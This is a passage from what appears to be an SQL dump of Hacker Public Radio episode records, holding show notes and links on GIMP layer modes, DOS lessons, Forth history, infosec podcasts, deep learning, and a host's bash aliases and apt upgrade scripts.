href=\"https://hackerpublicradio.org/eps.php?id=3599#comments\" target=\"_blank\">hpr3599</a></strong>\n(2022-05-19) \"<em>Linux Inlaws S01E56: Slackware - A User\'s Perspective</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3599#1\" target=\"_blank\">Comment 1</a>:\nbrian-in-ohio on 2022-05-19:\n\"what????\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3602#comments\" target=\"_blank\">hpr3602</a></strong>\n(2022-05-24) \"<em>Hacker Stories April 20 22</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3602#1\" target=\"_blank\">Comment 1</a>:\nWindigo on 2022-05-24:\n\"The best kind of correct\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3604#comments\" target=\"_blank\">hpr3604</a></strong>\n(2022-05-26) \"<em>Everything You Always Wanted to Know About PEX Part 01- Let\'s Talk About PEX - Introduction </em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=394\" target=\"_blank\">Trey</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3604#1\" target=\"_blank\">Comment 1</a>:\nLurking Prion on 2022-05-26:\n\"Made my heart happy!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3605#comments\" target=\"_blank\">hpr3605</a></strong>\n(2022-05-27) \"<em>Aspire-ing to use 13 year hardware</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3605#1\" target=\"_blank\">Comment 1</a>:\nTrey on 2022-05-27:\n\"Great show\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-May/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-May/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"older-hpr-shows-on-archive.org-phase-2\">Older HPR shows on archive.org, phase 2</h3>\n<p>Now that all shows from number 1 to the latest have been uploaded to the Internet Archive there are other tasks to perform. We are reprocessing and re-uploading shows in the range 871 to 2429 as explained in the Community News show notes released in <a href=\"https://hackerpublicradio.org/eps.php?id=3586#older-hpr-shows-on-archive.org-phase-2\">May 2022</a>. We are keeping a running total here to show progress:</p>\n<ul>\n<li>Re-uploads done so far: 271</li>\n<li>Shows remaining to be done: 1288</li>\n<li>Shows uploaded by last Community News recording: 131</li>\n<li>Shows added since last recording: 140</li>\n</ul>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3339,'2021-05-20','Linux Inlaws S01E30: Politicians and artificial intelligence part 2',3453,'Part 2 of the miniseries on Deep Learning, politicians and other approaches to intelligence (or not)','<p>After successfully navigating through the shallow (or not-so-shallow) depths of the first episode on deep learning fundamentals, our two heroes tackle a more concrete topic in this episode: How to use the damn stuff! No expenses will be spared to bring to the listeners the finer details of tensors, TensorFlow and other frameworks which serve as the basis for modern artificial intelligence / machine learning applications running on back-propagation networks (see the first episode on the foundations). Lifting the curtain even more, all will be revealed about a little corner shop called \"Google\" (well, almost all :-).\r\n</p>\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>Torch: <a href=\"https://torch.ch\" target=\"_blank\">https://torch.ch</a>\r\n</li>\r\n<li>PyTorch: <a href=\"https://pytorch.org\" target=\"_blank\">https://pytorch.org</a>\r\n</li>\r\n<li>TensorFlow: <a href=\"https://www.tensorflow.org\" target=\"_blank\">https://www.tensorflow.org</a>\r\n</li>\r\n<li>Lua: <a href=\"https://www.lua.org\" target=\"_blank\">https://www.lua.org</a>\r\n</li>\r\n<li>BigTable: <a href=\"https://en.wikipedia.org/wiki/Bigtable\" target=\"_blank\">https://en.wikipedia.org/wiki/Bigtable</a>\r\n</li>\r\n<li>BigFS: <a href=\"https://en.wikipedia.org/wiki/Google_File_System\" target=\"_blank\">https://en.wikipedia.org/wiki/Google_File_System</a>\r\n</li>\r\n<li>Google\'s inner workings: <a href=\"https://www.panmacmillan.com/authors/david-a-vise/the-google-story/9781509889211\" target=\"_blank\">https://www.panmacmillan.com/authors/david-a-vise/the-google-story/9781509889211</a>\r\n</li>\r\n<li>TPUs: <a href=\"https://en.wikipedia.org/wiki/Tensor_Processing_Unit\" target=\"_blank\">https://en.wikipedia.org/wiki/Tensor_Processing_Unit</a>\r\n</li>\r\n<li>More DL frameworks: <a href=\"https://en.wikipedia.org/wiki/Comparison_of_deep-learning_software\" target=\"_blank\">https://en.wikipedia.org/wiki/Comparison_of_deep-learning_software</a>\r\n</li>\r\n<li>TIOBE index: <a href=\"https://www.tiobe.com/tiobe-index\" target=\"_blank\">https://www.tiobe.com/tiobe-index</a>\r\n</li>\r\n<li>Stackoverflow survey: <a href=\"https://insights.stackoverflow.com/survey/2020\" target=\"_blank\">https://insights.stackoverflow.com/survey/2020</a>\r\n</li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','Policitians, artificial intelligence, deep learning',0,0,1),
(3343,'2021-05-26','The Forth programming language',761,'A less than complete history of Forth','<ul>\r\n<li><p>forth the early years<br />\r\n<a href=\"https://worrydream.com/refs/Moore%20-%20Forth%20-%20The%20Early%20Years.pdf\" class=\"uri\">https://worrydream.com/refs/Moore%20-%20Forth%20-%20The%20Early%20Years.pdf</a></p></li>\r\n<li><p><a href=\"https://en.wikipedia.org/wiki/Forth_(programming_language)\" class=\"uri\">https://en.wikipedia.org/wiki/Forth_(programming_language)</a></p></li>\r\n<li><p><a href=\"https://www.forth.com/resources/forth-programming-language/\" class=\"uri\">https://www.forth.com/resources/forth-programming-language/</a></p></li>\r\n<li><p><a href=\"https://colorforth.github.io/\" class=\"uri\">https://colorforth.github.io/</a></p></li>\r\n<li><p>chuck moore on youtube</p>\r\n<ul>\r\n<li>2019 <a href=\"https://youtu.be/81bkIqPpe0g\" class=\"uri\">https://youtu.be/81bkIqPpe0g</a></li>\r\n<li>2018 <a href=\"https://youtu.be/SX3kXbLmwn4\" class=\"uri\">https://youtu.be/SX3kXbLmwn4</a></li>\r\n<li>2008 <a href=\"https://youtu.be/ydeMNRxJ3Y8\" class=\"uri\">https://youtu.be/ydeMNRxJ3Y8</a></li>\r\n</ul></li>\r\n<li><p>klaatu on lisp <a href=\"https://gnuworldorder.info/audiophile/gnuWorldOrder_405.ogg\" class=\"uri\">https://gnuworldorder.info/audiophile/gnuWorldOrder_405.ogg</a></p></li>\r\n</ul>\r\n',326,0,0,'CC-BY-SA','programming, history',0,0,1),
(3440,'2021-10-08','Lighten Layer Modes',1168,'We continue our look at the Layer Modes in GIMP with the Lighten Modes','<p>Layer Modes, sometimes called Blending Modes, allow you to combine layers in a variety of ways. We continue with the Lighten Modes, except for Dodge which we will cover in the next tutorial along with Burn. These are the Layer Modes available on the latest (at the time I write this) version of GIMP, 2.10.24.</p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Luma_(video)\" class=\"uri\">https://en.wikipedia.org/wiki/Luma_(video)</a></li>\r\n<li><a href=\"https://blog.johnnovak.net/2016/09/21/what-every-coder-should-know-about-gamma/\" class=\"uri\">https://blog.johnnovak.net/2016/09/21/what-every-coder-should-know-about-gamma/</a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=Ijwb1R07aa0\" class=\"uri\">https://www.youtube.com/watch?v=Ijwb1R07aa0</a></li>\r\n<li><a href=\"https://docs.gimp.org/2.10/en/gimp-concepts-layer-modes.html\" class=\"uri\">https://docs.gimp.org/2.10/en/gimp-concepts-layer-modes.html</a></li>\r\n<li><a href=\"https://www.ahuka.com/gimp/lighten-layer-modes/\" class=\"uri\">https://www.ahuka.com/gimp/lighten-layer-modes/</a></li>\r\n</ul>\r\n',198,113,0,'CC-BY-SA','GIMP, Layer Modes, Blending Modes, Lighten',0,0,1),
(3450,'2021-10-22','Internal Commands',746,'More on DOS. This time it is Internal Commands.','<p>This tutorial looks at DOS Internal Commands, which in some sense are analogous to shell commands in Linux. That means that the command interpreter already has these loaded and ready to go when you boot.</p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://webopedia.internet.com/TERM/c/command.html\" class=\"uri\">https://webopedia.internet.com/TERM/c/command.html</a></li>\r\n<li><a href=\"https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-3-internal-commands/\" class=\"uri\">https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-3-internal-commands/</a></li>\r\n</ul>\r\n',198,117,0,'CC-BY-SA','DOS, early PC computing, Internal Commands',0,0,1),
(3460,'2021-11-05','Dodge and Burn',1107,'We continue our look at the Layer Modes in GIMP with Dodge and Burn','<p>Layer Modes, sometimes called Blending Modes, allow you to combine layers in a variety of ways. We continue with the Dodge and Burn Modes. Dodge is one of the Lighten Modes, while Burn is one of the Darken Modes, but I pulled them out for their own tutorial because they are not only closely related (inverse of each other), but also because I wanted to cover their use as Tool Modes in addition to Layer Modes. These are the Layer Modes available on the latest (at the time I write this) version of GIMP, 2.10.24.</p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://docs.gimp.org/2.10/en/gimp-tools-paint.html#gimp-tools-paint-options\" class=\"uri\">https://docs.gimp.org/2.10/en/gimp-tools-paint.html#gimp-tools-paint-options</a></li>\r\n<li><a href=\"https://www.ahuka.com/gimp/a-layer-mask-project/\" class=\"uri\">https://www.ahuka.com/gimp/a-layer-mask-project/</a></li>\r\n<li><a href=\"https://digitalmedia.fws.gov/digital/collection/natdiglib/id/14486/rec/210\" class=\"uri\">https://digitalmedia.fws.gov/digital/collection/natdiglib/id/14486/rec/210</a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=bbaAEZl7_44\" class=\"uri\">https://www.youtube.com/watch?v=bbaAEZl7_44</a></li>\r\n<li><a href=\"https://www.ahuka.com/gimp/dodge-and-burn/\" class=\"uri\">https://www.ahuka.com/gimp/dodge-and-burn/</a></li>\r\n</ul>\r\n',198,113,0,'CC-BY-SA','GIMP, Layer Modes, Blending Modes, Dodge and Burn',0,0,1),
(3470,'2021-11-19','External Commands and Emergency Boot Disk',1008,'More on DOS. This time it is External Commands and Emergency Boot Disk','<p>In our continuing exploration of DOS we come to the topics of External Commands and Emergency Boot Disks. We cover them together because External Commands may not be available on your Emergency Boot Disk unless you take steps to include them, unlike Internal Commands, which are always part of a Boot Disk.</p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-4-external-commands-emergency-boot-disk/\" class=\"uri\">https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-4-external-commands-emergency-boot-disk/</a></li>\r\n</ul>\r\n',198,117,0,'CC-BY-SA','DOS, early PC computing, External Commands, Emergency Boot Disk',0,0,1),
(3480,'2021-12-03','Darken Layer Modes',883,'More on Layer Modes in GIMP with the Darken Modes','<p>Layer Modes, sometimes called Blending Modes, allow you to combine layers in a variety of ways. We continue with the Darken Modes, except for Burn, which was covered in the previous tutorial. Darken modes do what they say on the tin, they make things darker, and so they are kind of the inverse of the Lighten Modes. These are the Layer Modes available on the latest (at the time I write this) version of GIMP, 2.10.24. I also take the time to discuss image formats such as JPG, PNG, and RAW.</p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://www.ahuka.com/gimp/lighten-layer-modes/\" class=\"uri\">https://www.ahuka.com/gimp/lighten-layer-modes/</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Portable_Network_Graphics\" class=\"uri\">https://en.wikipedia.org/wiki/Portable_Network_Graphics</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/JPEG\" class=\"uri\">https://en.wikipedia.org/wiki/JPEG</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Raw_image_format\" class=\"uri\">https://en.wikipedia.org/wiki/Raw_image_format</a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=XbcA9iSTudY\" class=\"uri\">https://www.youtube.com/watch?v=XbcA9iSTudY</a></li>\r\n<li><a href=\"https://daviesmediadesign.com/project/open-raw-images-gimp-2-10/\" class=\"uri\">https://daviesmediadesign.com/project/open-raw-images-gimp-2-10/</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Dodging_and_burning\" class=\"uri\">https://en.wikipedia.org/wiki/Dodging_and_burning</a></li>\r\n<li><a href=\"https://docs.gimp.org/2.10/en/gimp-concepts-layer-modes.html\" class=\"uri\">https://docs.gimp.org/2.10/en/gimp-concepts-layer-modes.html</a></li>\r\n<li><a href=\"https://www.ahuka.com/gimp/darken-modes/\" class=\"uri\">https://www.ahuka.com/gimp/darken-modes/</a></li>\r\n</ul>\r\n',198,113,0,'CC-BY-SA','GIMP, Layer Modes, Blending Modes, Darken Modes',0,0,1),
(3490,'2021-12-17','The Path',906,'More on DOS. This time it is the Path.','<p>In this DOS tutorial we take a look at the Path, an important concept. While the concept continues to be used in modern operating systems like Linux, in DOS you had severe limitations you always had to be conscious of. Remember that this was in the days when 640KB was enough memory for anyone.</p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-5-the-path/\" class=\"uri\">https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-5-the-path/</a></li>\r\n</ul>\r\n',198,117,0,'CC-BY-SA','DOS, early PC computing, The Path',0,0,1),
(3349,'2021-06-03','Linux Inlaws S01E31: Interview with Paul Ramsey FOSS aficionado and entrepreneur',3923,'An interview with Paul Ramsey, FLOSS entrepreneur and OpenGeo fame','<p>\r\nIn this episode the inlaws host Paul Ramsey of OpenGeo fame. Apart from his PostgreSQL contributions,\r\nPaul is probably best known for GIS work and geo DB contributions in general (in addition to\r\noff-the-beaten track stuff like URL of his website among other things). Don\'t miss this for nuggets\r\non geo databases and beyond!\r\n</p>\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>Paul Ramsey: <a href=\"https://blog.cleverelephant.ca/\" target=_blank>https://blog.cleverelephant.ca/</a></li>\r\n<li>PostgreSQL: <a href=\"https://www.postgresql.org\" target=_blank>https://www.postgresql.org</a></li>\r\n<li>PostGIS: <a href=\"https://postgis.net\" target=_blank>https://postgis.net</a></li>\r\n<li>FOSS4G 2019: <a href=\"https://www.youtube.com/watch?v=NQ5_NnrBHjo\" target=_blank>https://www.youtube.com/watch?v=NQ5_NnrBHjo</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','PostgreSQL,PostGIS',0,0,1),
(3344,'2021-05-27','Infosec Podcasts Part 3 - Infosec Career and Personal Development',366,'Presenting my favorite podcasts related to information security careers and growth','<p>Inoffensive in every region of the world</p>\r\n<p>Infosec Podcasts Part 3 – Infosec Career & Personal Development</p>\r\n<p>Why am I recording this series?</p>\r\n<p>\"What podcasts you listen to\" was on the list of recommended topics</p>\r\n<p>I am passionate about information security</p>\r\n<p>We desperately need people to fill infosec jobs in many different specialties</p>\r\n<p>Infosec is a rapidly changing field, and it is critical to stay current</p>\r\n<p>As a result I listen to TONS of infosec related podcasts</p>\r\n<p>Because there are so many podcasts to list, I will break them down into 6 different episodes based on topics:</p>\r\n<ul>\r\n<li>Part 1 - News & Current Events</li>\r\n<li>Part 2 - General Information Security</li>\r\n<li>Part 3 - Career & Personal Development</li>\r\n<li>Part 4 - Social Engineering</li>\r\n<li>Part 5 -\r\n<ul>\r\n<li>Hacks & Attacks</li>\r\n<li>Technical Information & Learning</li>\r\n<li>Infosec Community / Social / History</li>\r\n</ul></li>\r\n<li>Part 6 - Infosec Leadership</li>\r\n</ul>\r\n<h2 id=\"part-3\">Part 3</h2>\r\n<h3 id=\"career-personal-development\">Career & Personal Development</h3>\r\n<ul>\r\n<li><p>Getting into Infosec - Ayman Elsawah (Monthly)<br />\r\nWas a monthly podcast, but the last recorded episode dropped February 2021<br />\r\nStories of how Infosec and Cybersecurity pros got jobs in the field so you can be inspired, motivated, and educated on your journey<br />\r\n<a href=\"https://gettingintoinfosec.com/\" class=\"uri\">https://gettingintoinfosec.com/</a></p></li>\r\n<li><p>Infosec Career Podcast – Jason Wood (Discontinued March 2020)<br />\r\nInterviews with infosec professionals discussing their career journeys<br />\r\n<a href=\"https://infoseccareer.libsyn.com/\" class=\"uri\">https://infoseccareer.libsyn.com/</a></p></li>\r\n<li><p>Cyber Security Interviews – Douglas Brush (Bi-weekly)<br />\r\nA weekly interview based podcast with top cyber security professionals discussing how they got where they are and their perspectives on the industry<br />\r\n<a href=\"https://cybersecurityinterviews.com/\" class=\"uri\">https://cybersecurityinterviews.com/</a></p></li>\r\n<li><p>Humans of Infosec - Caroline Wong & Mike Shema (Bi-weekly)<br />\r\nA weekly podcast interviewing people from diverse backgrounds involved in infosec.<br />\r\n<a href=\"https://soundcloud.com/humans-of-infosec\" class=\"uri\">https://soundcloud.com/humans-of-infosec</a></p></li>\r\n<li><p>Hacker Valley Studio – Chris Cochran & Ron Eddings (Weekly)<br />\r\nDiscussions of personal growth and maturity within Infosec & life<br />\r\n<a href=\"https://hackervalley.com/\" class=\"uri\">https://hackervalley.com/</a></p></li>\r\n<li><p>We Hack Purple – Tanya Janka (Weekly)<br />\r\nInterview based podcast discussing various infosec careers with a diverse array of guests<br />\r\n<a href=\"https://wehackpurple.com/podcast.html\" class=\"uri\">https://wehackpurple.com/podcast.html</a></p></li>\r\n</ul>\r\n',394,75,0,'CC-BY-SA','infosec, podcasts, security',0,0,1),
(3347,'2021-06-01','Ethical Analysis of Renewable Energy and Conservation',904,'I read a paper I wrote about the ethical issues of renewable energy and conservation efforts.','<h3 id=\"original-essay\">Original essay:</h3>\r\n<p><a href=\"https://hackerpublicradio.org/eps/hpr3347/ethical_analysis_of_renewable_energy_and_conservation.pdf\">https://hackerpublicradio.org/eps/hpr3347/ethical_analysis_of_renewable_energy_and_conservation.pdf</a></p>\r\n<h3 id=\"references\">References</h3>\r\n<ul>\r\n<li>Bedard, Paul (2010, March 23). High Energy Costs for the Poor Might Push Action in Congress. Washington Whispers, U.S. News, Sunday, April 11, 2010 <a href=\"https://www.usnews.com\" class=\"uri\">https://www.usnews.com</a></li>\r\n<li>Colton, Roger D. (1994, July/August). Energy and Low-Income Housing: Part I Energy Policy Hurts The Poor. NHI Shelterforce. Issue #76. Retrieved from <a href=\"https://www.nhi.org\" class=\"uri\">https://www.nhi.org</a></li>\r\n<li>Ellen (2008, October 4). Poverty and Crime [Web log message], retrieved from Defining Canada, <a href=\"https://www.definingcanada.ca\" class=\"uri\">https://www.definingcanada.ca</a></li>\r\n<li>Fellegi, Ivan P. (1997, September). On poverty and low income, retrieved March 31, 2010 from Statistics Canada web site, <a href=\"https://www.statcan.gc.ca/pub/13f0027x/13f0027x1999001-eng.htm\" class=\"uri\">https://www.statcan.gc.ca/pub/13f0027x/13f0027x1999001-eng.htm</a></li>\r\n<li>Minu (2010, April 2). Lamps | Compact Fluorescent Lamps (CFL) [Web log message]. Retrieved from House Construction in India, <a href=\"https://houseconstructionindia.blogspot.com\" class=\"uri\">https://houseconstructionindia.blogspot.com</a></li>\r\n<li>Patel, Julie (2010, March 11). NAACP and FPL: Saving too much energy hurts the poor [web log message], Retrieved from SunSentinel.com, <a href=\"https://weblogs.sun-sentinel.com\" class=\"uri\">https://weblogs.sun-sentinel.com</a></li>\r\n<li>Smith, Adam (1776). An Inquiry into the Nature And Causes of the Wealth of Nations. Public domain.</li>\r\n<li>Toohey, Marty (2009, September 21). Advocates concerned Austin Energy plans will hurt poor, elderly. statesman.com. Retrieved from www.statesman.com</li>\r\n<li>Walsh, Bryan (2009, February 17). Building Green Houses for the Poor. Time. Retrieved from <a href=\"https://www.time.com\" class=\"uri\">https://www.time.com</a>.</li>\r\n</ul>',383,0,0,'CC-BY-SA','Ethics,renewable,energy,poverty,solar,wind,conservation,green',0,0,1),
(3348,'2021-06-02','Feedback on the Article by hedorah about HPR',4420,'Join the policy discussions on the mail list','<p>hedorah posted an article <a href=\"https://foxacid.se/hedorah/posts/hpr/\">https://foxacid.se/hedorah/posts/hpr/</a>, and we read out the mail thread that resulted <a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2021-April/014931.html\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2021-April/014931.html</a></a>',30,0,1,'CC-BY-SA','HPR, policy decisions',0,0,1),
(3500,'2021-12-31','Contrast Layer Modes',1019,'More on Layer Modes in GIMP with the Contrast Modes','<p>Layer Modes, sometimes called Blending Modes, allow you to combine layers in a variety of ways. We continue with the Contrast Modes, which are ways of combining layers that can heighten the contrast my making light pixels lighter and dark pixels darker. These are the Layer Modes available on the latest (at the time I write this) version of GIMP, 2.10.24.</p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://docs.gimp.org/2.10/en/gimp-concepts-layer-modes.html\" class=\"uri\">https://docs.gimp.org/2.10/en/gimp-concepts-layer-modes.html</a></li>\r\n<li><a href=\"https://www.ahuka.com/gimp/darken-modes/\" class=\"uri\">https://www.ahuka.com/gimp/darken-modes/</a></li>\r\n</ul>\r\n',198,113,0,'CC-BY-SA','GIMP, Layer Modes, Blending Modes, Contrast Modes',0,0,1),
(3510,'2022-01-14','Syntax, Switches, and Help',1215,'We continue our look the old warhorse, DOS. This time it is Syntax, Switches, and Help.','<p>Since DOS is a command line type of operating system, it is really important that you understand the syntax of commands. The good news is that the system will do what you tell it to do. But the bad news is that it will do what you tell it to do. You have to tell it in the precisely correct way, and that means Syntax. And with a number of commands you can modify them using Switches. And where do you learn all about Syntax and Switches? Why, in the HELP system, of course!</p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-6-syntax-and-switches-help-system/\" class=\"uri\">https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-6-syntax-and-switches-help-system/</a></li>\r\n</ul>\r\n',198,117,0,'CC-BY-SA','DOS, early PC computing, syntax, switches, help',0,0,1),
(3520,'2022-01-28','Inversion Layer Modes',1064,'More on Layer Modes in GIMP with the Inversion Modes','<p>Layer Modes, sometimes called Blending Modes, allow you to combine layers in a variety of ways. We continue with the Inversion Modes, which in various ways invert the lightness and the color values of the component layers. These are the Layer Modes available on the latest (at the time I write this) version of GIMP, 2.10.24.</p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://www.ahuka.com/gimp/lighten-layer-modes/\" class=\"uri\">https://www.ahuka.com/gimp/lighten-layer-modes/</a></li>\r\n<li><a href=\"https://docs.gimp.org/2.10/en/gimp-concepts-layer-modes.html\" class=\"uri\">https://docs.gimp.org/2.10/en/gimp-concepts-layer-modes.html</a></li>\r\n<li><a href=\"https://www.ahuka.com/gimp/darken-modes/\" class=\"uri\">https://www.ahuka.com/gimp/darken-modes/</a></li>\r\n</ul>',198,113,0,'CC-BY-SA','GIMP, Layer Modes, Blending Modes, Inversion Modes',0,0,1),
(3530,'2022-02-11','Filenames and ASCII',875,'We continue our look at the old warhorse, DOS. This time it is DOS filenames and ASCII','<p>In a purely text-based operating system you need to pay special attention to naming files. You won\'t have any helpful icons or thumbnails to help you locate things. So we dig into the file naming conventions in DOS, including forbidden characters. And since the possible characters all come from the ASCII character set, we do a small look at that as well.</p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://webopedia.internet.com/TERM/A/ASCII.html\" class=\"uri\">https://webopedia.internet.com/TERM/A/ASCII.html</a></li>\r\n<li><a href=\"https://www.techweb.com/encyclopedia/defineterm?term=ASCIIchart\" class=\"uri\">https://www.techweb.com/encyclopedia/defineterm?term=ASCIIchart</a></li>\r\n<li><a href=\"https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-7-dos-filenames-ascii/\" class=\"uri\">https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-7-dos-filenames-ascii/</a></li>\r\n</ul>\r\n',198,117,0,'CC-BY-SA','DOS, early PC computing, filenames, ASCII',0,0,1),
(3353,'2021-06-09','My terminal journey, part 01.',2814,'Becoming terminal friendly.','<h2 id=\"book-tlcl\">Book <a href=\"https://sourceforge.net/projects/linuxcommand/files/TLCL/19.01/TLCL-19.01.pdf/download\" title=\"download link\">TLCL</a></h2>\r\n<p>The Linux Command Line: <a href=\"https://www.linuxcommand.org/tlcl.php\">https://www.linuxcommand.org/tlcl.php</a></p>\r\n<h2 id=\"my-bashrc-alias\">My .bashrc alias</h2>\r\n<pre><code># ls aliases\r\nalias la=&#39;ls -Alh --group-directories-first&#39;\r\nalias lr=&#39;ls -lh --group-directories-first --recursive&#39;\r\nalias lar=&#39;ls -Alh --group-directories-first --recursive&#39;\r\n\r\n# safety first ;)\r\nalias rmi=&#39;rm --interactive --verbose&#39;\r\nalias mvi=&#39;mv --interactive --verbose&#39;\r\nalias cpi=&#39;cp --interactive --verbose&#39;\r\n\r\n# cd reverse dir\r\nalias ..=&#39;cd ..&#39;\r\nalias .2=&#39;cd ../..&#39;\r\nalias .3=&#39;cd ../../..&#39;\r\nalias .4=&#39;cd ../../../..&#39;\r\nalias .5=&#39;cd ../../../../..&#39;\r\n\r\n# cd dir\r\nalias cd.d=&#39;cd ~/Documents/.dump&#39;\r\n\r\n# shutdown | reboot\r\nalias ssn=&#39;sudo shutdown -P now&#39;\r\nalias sr=&#39;sudo reboot&#39;\r\n\r\n# Misc\r\nalias nrpt=&#39;echo -e &quot;\\n\\n---\\n\\nNew Report\\n\\n---\\n\\n&quot;&#39;\r\n</code></pre>\r\n<h2 id=\"my-dump-script\">My dump script</h2>\r\n<pre><code>#!/bin/bash\r\n\r\ndump=dump$(date +%m-%d-%Y).txt\r\npdat=$(date +%a_%b_%d_%Y_%T)\r\n\r\ntouch $dump;\r\n\r\necho -e &quot;$pdat&quot; &gt; $dump; echo -e &quot;\\n\\nThis file is used to store terminal output for later use; now get out!\\n\\n&quot; &gt;&gt; $dump;\r\n\r\necho -e &quot;\\n\\nDump file $dump is ready for use (created on $(date +%m-%d-%Y_%T)).\\n\\n&quot;\r\n</code></pre>\r\n<h2 id=\"my-upgrade-script\">My Upgrade script</h2>\r\n<pre><code>#!/bin/bash\r\n\r\ndp=dump$(date +%m-%d-%Y).txt\r\n\r\ndate | tee -a ./$dp; echo -e &quot;\\n&quot; | tee -a ./$dp;\r\n\r\nsudo apt-get update | tee -a ./$dp; echo -e &quot;\\n&quot; | tee -a ./$dp;\r\necho -e &quot;System Update Completed.&quot; | tee -a ./$dp; echo -e &quot;\\n&quot; | tee -a ./$dp;\r\n\r\nsudo apt-get upgrade --yes | tee -a ./$dp; echo -e &quot;\\n&quot; | tee -a ./$dp;\r\necho -e &quot;System Upgrade Completed.&quot; | tee -a ./$dp; echo -e &quot;\\n&quot; | tee -a ./$dp;\r\n</code></pre>\r\n<h2 id=\"commands\">Commands</h2>\r\n<ol>\r\n<li><p>the upgrade example <code>sudo apt-get update | tee -a ~/Documents/.dump/dump05-05-2021.txt; nrpt &gt;&gt; ./dump05-05-2021.txt;</code></p></li>\r\n<li><p>the nmap example (plus the other command I couldn\'t remember while recording) <code>apt-cache search nmap &gt;&gt; ./dump05-05-2021.txt; nrpt &gt;&gt; ./dump05-05-2021.txt;</code> <code>apt-cache showpkg nmap</code></p></li>\r\n<li><p>the depends example <code>apt-cache depends nmap &gt;&gt; ./dump05-05-2021.txt;</code></p></li>\r\n<li><p>the download example <code>sudo apt-get download dict dictd dict-wn dict-gcide artha</code></p></li>\r\n<li><p>vim <code>sudo apt-get vim; vimtutor</code></p></li>\r\n<li><p>Terminal examples <code>~</code>= home folder, <code>CTRL + R</code>= command search , <code>CTRL + L</code>= clear terminal, <code>xdg-open</code>= open files with default app.</p></li>\r\n<li><p>Searching with grep example <code>ls -lhAr ~ | grep -i bash &gt;&gt; ./dump05-05-2021.txt</code></p></li>\r\n<li><p>the dump05-05-2021.txt file</p></li>\r\n</ol>\r\n<pre><code>Wed_May_05_2021_12:22:43\r\n\r\nThis file is used to store terminal output for later use; now get out!\r\n\r\n\r\nHit:1 https://dl.google.com/linux/chrome/deb stable InRelease\r\nIgn:2 https://mirror.cs.jmu.edu/pub/linuxmint/packages ulyana InRelease\r\nGet:3 https://security.ubuntu.com/ubuntu focal-security 